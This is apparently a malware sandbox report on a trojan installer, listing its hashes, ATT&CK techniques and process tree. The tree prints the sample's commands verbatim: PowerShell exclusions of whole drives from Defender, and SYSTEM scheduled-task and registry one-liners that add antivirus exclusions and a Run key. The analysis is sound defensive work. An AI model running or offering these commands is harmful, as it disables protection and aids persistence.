ef10c610421ac483a421d5c660a36a63fa7ee43d4e3f626d5ad0cbe719c0aec3

Analysis

max time kernel
151s
max time network
132s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 02:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.06.exe
Size 30.5MB
Sample261024-df8xksht6p
SHA256 ef10c610421ac483a421d5c660a36a63fa7ee43d4e3f626d5ad0cbe719c0aec3
MD5 bacc72f3cbafc45f07f6be2f629157af
SHA1 14f328629b2e2e28c0959c310cc2f9a73cc9dc73
SHA512 906847613fc9165456bdb2373df0f6bdd555f2e8b290d2f7e55912401f4b8cff831bb7e0756c340a7f406c604f33ecee8c2c99a014af41d79a8ee199519d8cdf
SSDEEP 196608:zZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYF:YC/p+HuPOc44
TLSH
T18367181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\flKdNT = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4308	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1396	9LcjCC.exe
892	9LcjCC.exe

Loads dropped DLL 2 IoCs

pid	Process
1396	9LcjCC.exe
892	9LcjCC.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\flKdNT\\9LcjCC.exe\""	9LcjCC.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2660	cmd.exe
2568	cmd.exe
1044	cmd.exe
4256	cmd.exe
2812	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	9LcjCC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4396	cmd.exe
1672	cmd.exe
1572	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	9LcjCC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	9LcjCC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.06.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.06.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
940	schtasks.exe
4488	schtasks.exe
1736	schtasks.exe
2728	schtasks.exe
2844	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
3276	install.2.0.06.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe
1396	9LcjCC.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4308	powershell.exe
Token: SeIncreaseQuotaPrivilege	4308	powershell.exe
Token: SeSecurityPrivilege	4308	powershell.exe
Token: SeTakeOwnershipPrivilege	4308	powershell.exe
Token: SeLoadDriverPrivilege	4308	powershell.exe
Token: SeSystemProfilePrivilege	4308	powershell.exe
Token: SeSystemtimePrivilege	4308	powershell.exe
Token: SeProfSingleProcessPrivilege	4308	powershell.exe
Token: SeIncBasePriorityPrivilege	4308	powershell.exe
Token: SeCreatePagefilePrivilege	4308	powershell.exe
Token: SeBackupPrivilege	4308	powershell.exe
Token: SeRestorePrivilege	4308	powershell.exe
Token: SeShutdownPrivilege	4308	powershell.exe
Token: SeDebugPrivilege	4308	powershell.exe
Token: SeSystemEnvironmentPrivilege	4308	powershell.exe
Token: SeRemoteShutdownPrivilege	4308	powershell.exe
Token: SeUndockPrivilege	4308	powershell.exe
Token: SeManageVolumePrivilege	4308	powershell.exe
Token: 33	4308	powershell.exe
Token: 34	4308	powershell.exe
Token: 35	4308	powershell.exe
Token: 36	4308	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1396 wrote to memory of 4308	1396	9LcjCC.exe	93
PID 1396 wrote to memory of 4256	1396	9LcjCC.exe	95
PID 4256 wrote to memory of 1736	4256	cmd.exe	97
PID 4256 wrote to memory of 4236	4256	cmd.exe	100
PID 1396 wrote to memory of 2812	1396	9LcjCC.exe	102
PID 4256 wrote to memory of 2884	4256	cmd.exe	105
PID 2812 wrote to memory of 2728	2812	cmd.exe	106
PID 1396 wrote to memory of 2660	1396	9LcjCC.exe	107
PID 2812 wrote to memory of 4140	2812	cmd.exe	109
PID 2660 wrote to memory of 2844	2660	cmd.exe	110
PID 2812 wrote to memory of 2892	2812	cmd.exe	111
PID 2660 wrote to memory of 2308	2660	cmd.exe	112
PID 4396 wrote to memory of 5288	4396	cmd.exe	114
PID 1396 wrote to memory of 2568	1396	9LcjCC.exe	115
PID 2660 wrote to memory of 4324	2660	cmd.exe	117
PID 2568 wrote to memory of 940	2568	cmd.exe	118
PID 2568 wrote to memory of 1888	2568	cmd.exe	119
PID 1396 wrote to memory of 1044	1396	9LcjCC.exe	121
PID 2568 wrote to memory of 6020	2568	cmd.exe	123
PID 1672 wrote to memory of 4368	1672	cmd.exe	125
PID 1044 wrote to memory of 4488	1044	cmd.exe	126
PID 1044 wrote to memory of 4436	1044	cmd.exe	127
PID 1044 wrote to memory of 2984	1044	cmd.exe	129
PID 1572 wrote to memory of 1464	1572	cmd.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5724

C:\Users\Public\flKdNT\9LcjCC.exe
"C:\Users\Public\flKdNT\9LcjCC.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\flKdNT\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\flKdNT\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2728
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4140
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2844
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2308
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:940
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1888
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1044
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4488
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4436
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2984

C:\Users\Public\flKdNT\9LcjCC.exe
"C:\Users\Public\flKdNT\9LcjCC.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:892

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\flKdNT" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4396
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\flKdNT" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5288

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:6040

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4368

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1572
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1464

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 164ef2f06813f577119a7e8c22a59c59f72b023ab67f531a2c517e6f12236b47
MD5 655b068972cbfdfb12ef8b24c145eab7
SHA1 1773a64a43e57d52d9046d90de641cf5fc5e6925
SHA512 87b8a3ab847425bb4d23024590a26b7556a2cb0d78ffe5bf4ed77e0d45e97fb6d0f731c6a1f8f342e7970588007738cf5e281e3968033bf9b5d792fc92527b0c
TLSH
T16F3174BB6F6C38929F3F8E4411CAB1212CA5A2805CD5099A6254C0A88B443F26F4D90C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 3b18d580bb47a65a1b20d01a3e08842dd5d5a599df310614295cdf768e5f4681
MD5 2d62e064810fe0fbfcea60d0dff17977
SHA1 2e3c64b1bcb720d53120a8cb7321405030d23f82
SHA512 eaeb87a99ea6e9cd2aa90a8445d38b0b80420a202c315340dadf7238ff319adda59363d078f9395ff443fd321fd68bcabf0ea70c0db1570e39ebafae6afdd7ee
TLSH
T1A63194A39B7914129B0C4B3916D4D23FACF151759CE84C413A2ED26E451CBB71F86445
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 ba15da6405d895374c269083604991e5e9f60337d6afbb707cbb8bd09fc7c7d3
MD5 9c207ac129a46735c4eb4a7069df1ec9
SHA1 ddaeeec57d61a09d93abe06f32942a656379bf41
SHA512 4b091b81cf15e010fb2ff14e069ce5c34d96d10b0059196acaba7a4676ed2cae88f64c355a4ef99b6b533404b9241d60c98b335ebabb565d01def587fd69f22b
TLSH
T147F05C088AF8422FF033EA3C07CC352AABABF202200284A803E60709A200E013E92178
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 dee61300d8c5ed96b94f11f98e55848d3bdd3b62ee446850edbf1c7ec2a5470c
MD5 a575ee67001e78d3a7fb195a1347568c
SHA1 1aa37c0f36dad8fa44941baaa9c68a35f373e1a5
SHA512 ebde26b4359113084027873ada63ea5f434d6a55990d8d8fbd987b1c6ef390e83d17b6861d326212241d653a34dfe9346047d87637e809be75ca7fafdf4be1d5
TLSH
T1AFF05C2C42EA102BF17AE2F887C77AE29E75E523140666FA0EE843849A65D413C5127E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_rxqfvcv3.tm5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rxqfvcv3.tm5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

9LcjCC.exe

Path C:\Users\Public\flKdNT\9LcjCC.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\flKdNT\UxEnhance64.dll
Size 3.1MB
SHA256 6a4e3b489e9328310e9881db045c167a1ae63cb39c2e061889df1af5795404b4
MD5 5f2502488807290010b8da18389b25dd
SHA1 1091eccb24d206ee0d6e3b7fd7be8b876559f608
SHA512 945aef2ab0d11d17ec7292733d43cc96fbaac9b399398b269598ebd97560a8287600440bfda50783fa53e423d2f616f44362c828a06db313f2a85112577b15a2
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+s:P9m29xx3Tiqt06ox6+z2rNNrKos
TLSH
T12EE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\flKdNT\adoresd.dat
Size 4.8MB
SHA256 e0fa43fd7f14aeb2881df59cf8c8185b9d67619b37436c7994611380bcb487fa
MD5 48e6339e6ae7b200b7dd469e35b15d0f
SHA1 68f5ea4b9b98907fb35cadb768756566e5442e7a
SHA512 2f152696ea1aaeacc7b69c4d39a80f4afe30843a18217b010b9acee73302819263710d32d9f57873174d85796d10fbcf7516ed41e8aa9fdbd8c37df5f544bd2c
SSDEEP 98304:KWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:KWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1743633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\flKdNT\msadox.tb
Size 8KB
SHA256 01351e605db44e629e40b2bb20acc1c57233b57558b6db6d5b9a9256e38e9adc
MD5 3c988f69ed2e62b64ac6b6967781e71e
SHA1 ed8ac35be0912eb19c0327e47fc72c88957ec7f2
SHA512 a406943632b563098ddeef9f62971f4c2177bb4c2f77e6a1452f3c0eafc72d4ca91cac2caaeb9cfe6dbe47faceff6fbaa168992ba53135b3a696e61d632e9f53
SSDEEP 192:eqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:esZqZOXQ3uqvR2Kfzp
TLSH
T194029E05D7A20DC3D2116C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/892-594-0x00007FFE11C50000-0x00007FFE11C52000-memory.dmp

Download

memory/892-590-0x000002D4F72B0000-0x000002D4F7B87000-memory.dmp

Download

memory/892-593-0x000002D4F72B0000-0x000002D4F7B87000-memory.dmp

Download

memory/892-585-0x00007FFE11C60000-0x00007FFE11C62000-memory.dmp

Download

memory/892-582-0x000002D4F72B0000-0x000002D4F7B87000-memory.dmp

Download

memory/892-579-0x00007FFDEF0D0000-0x00007FFDEF5EE000-memory.dmp

Download

memory/892-592-0x000002D4F72B0000-0x000002D4F7B87000-memory.dmp

Download

memory/892-591-0x000002D4F72B0000-0x000002D4F7B87000-memory.dmp

Download

memory/892-586-0x000002D4F72B0000-0x000002D4F7B87000-memory.dmp

Download

memory/1396-538-0x000001D3496C0000-0x000001D349F97000-memory.dmp

Download

memory/1396-545-0x000001D3496C0000-0x000001D349F97000-memory.dmp

Download

memory/1396-559-0x000001D3496C0000-0x000001D349F97000-memory.dmp

Download

memory/1396-562-0x000001D34A4C0000-0x000001D34A54A000-memory.dmp

Download

memory/1396-565-0x000001D34A4C0000-0x000001D34A54A000-memory.dmp

Download

memory/1396-564-0x000001D34A4C0000-0x000001D34A54A000-memory.dmp

Download

memory/1396-563-0x000001D34A4C0000-0x000001D34A54A000-memory.dmp

Download

memory/1396-561-0x000001D34A3E0000-0x000001D34A42E000-memory.dmp

Download

memory/1396-567-0x000001D3496C0000-0x000001D349F97000-memory.dmp

Download

memory/1396-569-0x000001D3496C0000-0x000001D349F97000-memory.dmp

Download

memory/1396-547-0x000001D3496C0000-0x000001D349F97000-memory.dmp

Download

memory/1396-548-0x000001D3496C0000-0x000001D349F97000-memory.dmp

Download

memory/1396-540-0x00007FFE11C60000-0x00007FFE11C62000-memory.dmp

Download

memory/1396-546-0x000001D3496C0000-0x000001D349F97000-memory.dmp

Download

memory/1396-541-0x000001D3496C0000-0x000001D349F97000-memory.dmp

Download

memory/1396-553-0x000001D3496C0000-0x000001D349F97000-memory.dmp

Download

memory/1396-608-0x000001D3496C0000-0x000001D349F97000-memory.dmp

Download

memory/1396-533-0x00007FFDEF0D0000-0x00007FFDEF5EE000-memory.dmp

Download

memory/1396-532-0x00007FFE11C50000-0x00007FFE11C52000-memory.dmp

Download

memory/1396-601-0x000001D3496C0000-0x000001D349F97000-memory.dmp

Download

memory/3276-526-0x0000000002720000-0x000000000272E000-memory.dmp

Download

memory/3276-504-0x00007FFE05D40000-0x00007FFE05D52000-memory.dmp

Download

memory/3276-2-0x0000000002730000-0x000000000273C000-memory.dmp

Download

memory/3276-527-0x00007FFE05D40000-0x00007FFE05D52000-memory.dmp

Download

memory/3276-1-0x0000000002720000-0x000000000272E000-memory.dmp

Download

memory/3276-0-0x0000000002720000-0x000000000272E000-memory.dmp

Download

memory/4308-607-0x000002A9CAA40000-0x000002A9CAA62000-memory.dmp

Download

memory/4308-616-0x000002A9CACD0000-0x000002A9CACEE000-memory.dmp

Download

memory/4308-617-0x000002A9CAD20000-0x000002A9CADD2000-memory.dmp

Download

memory/4308-618-0x000002A9CACC0000-0x000002A9CACCA000-memory.dmp

Download